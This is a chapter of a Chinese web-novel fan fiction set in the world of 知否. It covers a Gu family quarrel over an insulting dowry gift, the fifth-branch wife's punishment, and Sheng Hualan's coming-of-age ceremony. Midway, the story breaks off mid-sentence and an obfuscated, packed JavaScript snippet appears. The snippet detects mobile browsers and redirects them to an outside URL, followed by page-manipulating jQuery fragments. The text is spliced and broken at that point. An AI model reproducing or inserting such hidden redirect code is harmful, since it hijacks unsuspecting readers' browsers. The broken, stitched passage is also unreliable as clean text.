66.第 66 章

作品:《知否盛老太太的双生子

    清晨,宁远侯府距离上次顾家女眷齐聚一堂才过了一天,而顾家五房太太的娘家也在汴州城,几乎是她娘家父母收到信的第二天便登上了顾家的大门,此时的顾家五房太太正一脸心虚的看着自己满脸忧愁的母亲。


    顾家五房太太的母亲看着眼神漂浮不定的顾家五房太太,再想到顾家五老爷在信中说的事情,忍不住上前拍打了几下顾家五房太太,语气夹杂着一丝怒火,道:“我和你父亲也从未缺过你什么好东西,以前家中但凡得了什么好东西也是先紧着你的,你的嫁妆也是尽家中最大努力去置办的,怎么就养出你这么个眼皮浅的样子,你往日学过的道理都跑哪去了,人家添妆添得是财物,你到好给自家侄女添了个妩媚妖娆的女使,你是明着恶心人啊!”


    顾家五房太太没敢还手和反驳,毕竟她母亲是上了年纪的人,她不敢有什么大动作,只能站着挨打不动。


    顾家五房太太的母亲瞧着她这般样子,气不打一处来道:“往日你在家做姑娘时,我们念着你以后嫁到婆家怕是比不得在娘家舒坦,便对你十分疼爱,你的兄姐也因着你年幼对你多加忍让,没成想竟让你养成这般性子,那端淑县主是你妯娌,不是你娘或你兄姐,要依着你的性子来,我知道你瞧不上端淑县主的出身,但英雄不问出处,端淑县主好运道碰上了盛国公夫妇这般对她疼爱有加的兄嫂,如今又有盛老夫人这个干娘给她撑腰,哪里是你能比得过的,以前你回娘家说端淑县主那些个话,我们是顾及着你的心情才没说什么,要我们说,当嫂嫂当成端淑县主这般的已实属少见了,谁家大哥哥大嫂嫂还养着分家的弟弟弟媳呢,更何况你每次回门时带的东西,端淑县主明明可以不上心,随便应付了事,也剩些银钱,但人家哪次不是备了厚礼让你带回娘家充面子的,就这样,你还要给端淑县主找茬惹事,你就不能学学你那四嫂嫂嘛。”


    顾家五房太太脸上浮现出一抹冷笑,语气中满是不屑的意味,道:“那白滢婷惯会装样子,我才不要学四房那个不要脸的去讨好白滢婷呢,再说了,何该大房养我们,当初我那公公分家时就不公,凭什么大房分得五成啊!大房本就占了家中的爵位、祖产、功勋田,又比我们两房多分得三成,凭什么,就凭她白滢婷难产受了委屈,谁家妇人生孩子时不是相当于去鬼门关走一遭啊!她白滢婷金贵,难产一次就是我们顾家照顾不周,偏要回一趟娘家修养到公公婆婆去请回来。”


    顾家五房太太如今只要对上白滢婷的事情就全无智商,满脑子都是白滢婷的错处,好在她母亲还有些脑子,她也曾听自家姑娘提起过,说实在的,她总觉得白滢婷难产有猫腻,但是顾盛两家都将这件事情揭过去了,她们这些外人也不好再说什么,她看着自家有些魔怔的姑娘,语气中带着些许羞愧,道:“你快闭嘴吧,你公公哪是因为端淑县主难产才分的五成给大房,外人不知道,我们这些姻亲还不知道嘛,端淑县主那嫁妆银子都给你们顾家填窟窿去了,人家盛国公夫妇和白家老爷大气不说什么,但你公公不能真的什么都不表示一下吧,说到底要不是有端淑县主的嫁妆银子兜底,你现下还不一定有顾家这两成家产分呢,我怎么会教出你这般不知羞耻的女儿啊!”


    顾家五房太太的母亲瞧着自家女儿到现在还是一副死不悔改的样子,咬着牙,道:“你可知姑爷在信中说要不是念及两个哥儿的名声,他早就休妻了,如今怕是要将你送去庄子上修养,你父亲现下正劝着姑爷呢,你若是这般样子,我瞧着你父亲也不用多费什么口舌了。”


    顾家五房太太瞪大双眼,不可置信道:“怎么,这怎么可能呢?他不敢这么做的,我若是去了庄子,家中的田产铺子谁来打理呢?再说了,他那么要面子的一个人,怎么敢让炀儿的大娘子看我的笑话呢。”


    顾家五房太太的母亲,语气中带着些许无奈,道:“怎么不可能,你如今将姑爷的面子全都丢尽了,又得罪了顾家六姑娘,你官人的嫡亲妹妹,等你到庄子上,人家八成就能给自家哥哥找个知书达礼、身世清白的贵妾,若那贵妾是个能干的,还能帮着打理家中中馈和照顾自己哥哥、侄子侄女,你在庄子上待多久还不一定呢。”


    顾家五房太太满眼惊恐的抓着自家母亲的衣袖,语气颤抖,道:“母亲,母亲你要帮我啊!我不能去庄子上,我在官人心中本就没什么份量,若是离开了顾家后,官人身边又多了个贵妾,那怕是真要老死在庄子上了啊!母亲,你向来是疼我的,你一定要帮帮我啊!”


    顾家五房太太的母亲眼中闪过一丝心疼,语气中满是无奈的意味,道:“我自是疼你的,若不是为了帮你,我和你父亲何苦来顾家呢,可你这副死不悔改的样子实在让我担忧啊!你是我身上掉下来的一块肉,我怎么可能猜不出你的想法,怕是等这件事情解决了,你仍会继续找端淑县主的麻烦。”


    顾家五房太太的母亲说到这里,眼中闪过一丝决绝,道:“女儿,这是我和你父亲最后一次拉下脸来帮你了,如今你哥哥姐姐也是有女儿的人,不能为着你一个人毁了全家的名声,我现下去找端淑县主赔礼道歉,你父亲那边也尽力改变姑爷的想法,其他的就只能尽人事听天命了。”


    顾家五房太太的母亲说完,便起身离去,全然不看自家女儿那满脸的惊愕,而盛老太太此时正在白滢婷这边。


    常嬷嬷在得知顾家五房太太的父亲母亲来顾家时就派人去信给盛老太太,怕的是白滢婷应付不过来,毕竟以这两位老人的年纪,若是倚老卖老,白滢婷可真没法子应付,而盛老太太就不一样了,她本就是勇毅侯府独女出身,现又多了个一品诰命夫人的头衔,谁都要给她三分面子的,再说了,辈分相同才好说话嘛。


    盛老太太已经从白滢婷口中得知事情的来龙去脉,她拉着白滢婷的手,轻声道:“这件事情说破天去也是我们在理,若是他们家想要蹬鼻子上脸,我们也是不怕的。”


    盛老太太正想和白滢婷继续说下去时,一个丫鬟进来恭谨的给白滢婷和盛老太太行礼,道:“盛老夫人、大娘子,五房大娘子的娘家老太太在外面说是要见大娘子一面。”


    白滢婷看了一眼盛老太太后,她的神情回归到平淡的状态,语气中听不出什么情绪,道:“将人请进来吧。”


    那个丫鬟闻言就退了出去,没多久,她就带着一位白发苍苍的老夫人进入屋内后又退了下去,而那位老夫人瞧见盛老太太时,眼中闪过一丝惊讶,瞧着是看出盛老太太的身份了,她心里暗暗想道:“既然盛老太太都在这了,也不好对端淑县主做些什么。”


    顾家五房太太的母亲脸上浮现出一抹笑容,直言道:“盛老夫人妆安,我早就听我家女儿说县主待她极好,先前一直想找个时间来拜访县主以示感谢,可惜都没有什么时间,正巧近几日有闲暇时间,再加上听闻贵府姑娘不久就要出嫁了,便打算近几日上门来拜访顺带给姑娘添妆,没成想我那蠢笨的女儿居然做出这样的事情,这是让我羞愧万分啊!因此,今日特地登门致歉,还望县主大人有大量就原谅她这一次吧。”


    顾家五房太太的母亲说着便要给白滢婷行大礼,就在这时,盛老太太神情严肃,语气淡然,道:“这位夫人同我一般都是上了年纪的人,婷儿哪当的起你的大礼啊!再说了,若是夫人你真给婷儿行了如此大礼,以后要是传出去,知道的是夫人你诚心道歉,不知道的还以为我家婷儿故意刁难你一个老人家呢,您还是快坐吧。”


    顾家五房太太的母亲眼中闪过一丝尴尬,随即调整心态和动作,道:“盛老夫人说的是,是我思虑不周了。”


    顾家五房太太的母亲说完便按着盛老太太的话坐下,她瞧着这场面,今日这件事情八成是要和盛老太太谈了,于是她眼中闪过一丝苦笑,继续道:“盛老太太,县主,我也知道小女这次做的实在是过分,不过,她到底给顾家生了两个儿子,如今又有了媳妇,不好真让她媳妇看她笑话吧,再者,我这个女儿从小就没受过什么苦,若是真将她赶去庄子上,她怕是受不了啊!”


    盛老太太闻言,嘴角微微弯起,语气中带着些许嘲讽的意味,道:“这位夫人真是慈母心啊!可是我家婷儿已经不是第一次忍让你女儿了,我们且不说她先前找了婷儿多少麻烦,就说我之前来顾家给烟姐儿添妆时,她一点脸面都不给婷儿,直接当着我的面指桑骂槐,被我说了一通后,原想着她会收敛些,没曾想居然还变本加厉做出这等子不要脸的事情,可见你家女儿就没打算改。”


    顾家五房太太的母亲眼中闪过一丝无奈,轻声细语,道:“盛老夫人,我知道自家女儿心气高,加之先前在家中生活时,我与官人对她疼爱有加,她兄姐对她多有谦让,便养成了事事都要如她意的性子,我若保证她一定会改,盛老夫人也必定不会相信的,不过,我已告诫她如若再犯必将严惩,想必她也会收敛些的。”


    盛老太太对顾家五房太太的母亲的话嗤之以鼻,她面色淡然,道:“这位夫人说的是,不过这件事情也不是我家婷儿说得算的,毕竟顾家已经分家了,正如你女儿先前说的,我家婷儿是大房的人,哪能插手顾家五房的事情呢,你与其在这里和我家婷儿多费口舌,还不如去劝劝顾家五老爷,这才是正道。”


    白滢婷瞧着顾家五房太太的母亲一把年纪了还为顾家五房太太收拾烂摊子,忍不住出言道:“老夫人,顾家早已分家,如今合府居住,四房五房的开销都是走大房的公账,那是我家官人疼爱弟弟们,我也随着官人的意,从未抱怨什么,这些年五弟妹时常找我麻烦,我能忍则忍,不能忍也顶多说她两句,从未真正的去报复她,说句实在的,我是她大嫂嫂,不是她父亲母亲、兄弟姐妹,我能做到这个份上已经是尽到自己本分了,若不是她这次将主意打到了烟姐儿身上,我也就忍了,您也是一个母亲,您扪心自问,若是有人在你女儿未出嫁时就给她未来夫婿塞个莺莺燕燕的妾侍,您是什么感觉。”


    白滢婷看着顾家五房太太的母亲脸上浮现出些许羞愧的神情,继续道:“我也不想为难您什么,这件事情正如我干娘所说,她们五房的事情,她们五房自己解决,我绝不干涉,若是老夫人你没事的话,恕我没有心情继续接待您了。”


    顾家五房太太的母亲在心里叹了口气,随即接过她身边丫鬟手中的盒子放在桌子上,道:“感谢县主这些年来对小女的宽容之心,我就不强人所难了,这是我给烟姐儿的添妆,算是为我自己教女不严给烟姐儿带来的麻烦赔礼道歉,还望县主收下。”


    顾家五房太太的母亲说完就径直离开了,独留盛老太太和白滢婷在屋内,而顾家五老爷和自己岳父最终商定将顾家五房太太送去汴州城外的一处庄子上修养三年再回来,算是给顾家五房太太一个教训,而顾家五房太太在外这三年,顾家五房的家产交由顾廷炀的大娘子来打理,这件事情也算是落下眉目了。


    没过多久,顾廷烟的嫁妆就如流水一般抬入了何家,接着五天后,她便与何家公子成婚了,不过,秦伯夫人在参加顾廷烟婚礼时的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12666925|71292||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    脸色可有够好看的,若是邱小娘在场看着秦伯夫人这副表情,定能多吃几碗饭。


    时光飞逝,一个月后的扬州城盛家,盛华兰及笄礼的时间快到了,王若弗本就十分疼爱这个女儿,再加上之前盛老太太也说过大办,于是,她便将盛老太太当初的话进行到底,早在盛华兰及笄礼前一个月就给扬州城里有头有脸人家的大娘子都下了请帖。


    扬州城大户人家因着盛瑾将盛老太太带回汴州城时的动静,一打听便知道盛瑾与盛纮如今是什么关系,再加上盛纮是扬州城的通判,本着与盛瑾或盛纮交好的原则,接到请帖的人家都回复说要来,另外王若弗还请了知州的大娘子为盛华兰插簪子。


    王若弗为了盛华兰的及笄礼,特意从京城第一珠翠楼定制了一套头面首饰,而身为外祖母的王老太太也不甘示弱的给自己外孙女定制了一条刺绣是流觞绣的襦裙,盛华兰穿着这条襦裙走动起来,上面的每一条纹路仿佛都会动似,至于及笄礼上用的簪子,王若弗打算用盛老太太和盛瑾送的三支簪子中的那支碧玉七宝玲珑簪,以展现盛瑾这个国公爷和盛老太太这一品诰命夫人对盛华兰的重视。


    在盛华兰及笄礼的当天,扬州城里大户人家的大娘子都到了,盛家门口光是轿子就排了两排,王若弗怕外客热,还一口气买了几十车冰块镇着,流水价的往里送冰碗子,盛纮也特意回府观礼。


    在盛华兰的及笄礼上的那支碧玉七宝玲珑簪可是出了大风头,任谁都能看出这支簪子价值不菲,连知州的大娘子都赞赏不易,这一打听,还是国公爷和一品诰命夫人送的,而且不止送了这一支簪子,瞬间觉得盛华兰这个侄女在盛瑾和盛老太太心中还是有些份量的,这不,虽然国公爷和盛老太太不能参加侄女孙女的及笄礼,但是给她送了重礼,随即盛华兰得到了一众大娘子的夸奖,一时间盛华兰风头无限。


    王若弗心里乐的不行,对刘妈妈当初的话深有体会啊!很快盛华兰的及笄礼就完成了,而后王若弗立刻将无限的热情投入到寻找大女婿的工作上去了,时不时还要和盛纮交流一下意见,每当盛华兰听到自己父母讨论自己婚事时,她便会一脸娇羞的掩面回屋。


    对于盛华兰的婚事,盛纮比王若弗还要重视,不仅仅因为盛华兰是他最疼爱的孩子,还是他的嫡长女,在古代大家族中嫡长女的婚事如何,对余下的女儿们的婚事也多少有些影响,再加上如今盛家因着盛瑾这个国公爷的身份兼少师这个职位成了勋爵之家,门第也提高了不少,在世人眼中,盛家女儿们的婚姻价值提高了不少,他又怎么会不明白呢。


    盛纮心里十分清楚有不少人是冲着盛瑾的势力来的,在盛瑾的嫡长女盛明兰还未长成之前,他的女儿们就是不错的选择,再者他的女儿虽只是盛瑾的侄女,但侄女与侄女之间是存在差别的,在盛老太太膝下长大的盛华兰便是一个不错的选择,毕竟本朝是以孝治天下的,盛老太太疼爱盛华兰,盛瑾便会待这个侄女不一样,因此他对盛华兰的婚事是慎重慎重再慎重,不过,他在先前去汴州城就已经看好一户人家了,只是不知道这户人家还会不会上门提亲呢。


    盛纮看着如今充满精力的王若弗,心里暗道:“现下也不管这户人家会不会上门提亲,如今当务之急是将华儿送往汴州城。”于是他便直接开口告诉王若弗此事。


    王若弗瞪大双眼,语气中满是不情愿的意味,道:“官人,华儿在家中的时间不过两三年,等她嫁人后,我就不能时常见到她了,你就不能让她在这段时间内待在我身边嘛。”


    盛纮眼中闪过一丝不舍,语气中带着些许坚定的意味,道:“这也是没法子的,娘子你想啊!若是华儿和我们在扬州城待着如何找得到汴州城的好婆家呢?二哥哥前些日子来信说我政绩不错,再在扬州城待个几年就能升任汴州城了,难不成你想给华儿找个扬州城的婆家嘛。”


    王若弗猛地摇头,语气中满是不愿的意味,道:“扬州城再怎么繁华也比不上汴州城这种天子脚下的地方,再说了,等官人升任汴州城后,我们大抵是不会再离开汴州城的,扬州城和汴州城的距离也不算短,若是华儿找个扬州城的婆家,那我不是更见不到华儿了嘛,万一华儿被婆家欺负了也无娘家可告啊!不成,不成。”


    盛纮循循善诱道:“娘子说的在理啊!这女儿嫁了人本就不能时常回娘家,若是娘家和婆家距离远了,那原本见面的次数不是更少了嘛,况且华儿去汴州城也是有好处的,母亲在汴州城本就有些名气,如今又被封为一品诰命夫人,那些个有些交集的大娘子少不得要登门拜访一下母亲,若是华儿跟在母亲身边被那家大娘子瞧上了,你说我们华儿是不是有了更多的选择呢?”


    王若弗眼中带着些许不舍,语气略带些许迟疑,道:“官人说的是,可丰国公府到底不是我们家,我怕华儿寄人篱下过得不好。”


    盛纮脸上浮现出些许责怪的表情,道:“我的大娘子啊!你这说的什么话啊!那丰国公府的主人是二哥哥和母亲,二哥哥那样的人能欺负了华儿去嘛,再说了,丰国公府的后宅和中馈如今握在母亲手上,华儿到底是在母亲身边长大的,母亲向来疼爱华儿,哪里会让华儿受委屈呢,娘子你真是多心了。”


    王若弗听着盛纮的话,本来不是很坚定的内心动摇了,她犹豫片刻,语气中带着些许不舍,道:“只要是对华儿好,我就依着官人的意思了。”而盛纮闻言,心里高兴极了,他抱着王若弗安抚了好一会儿后就安排盛华兰去往汴州城了。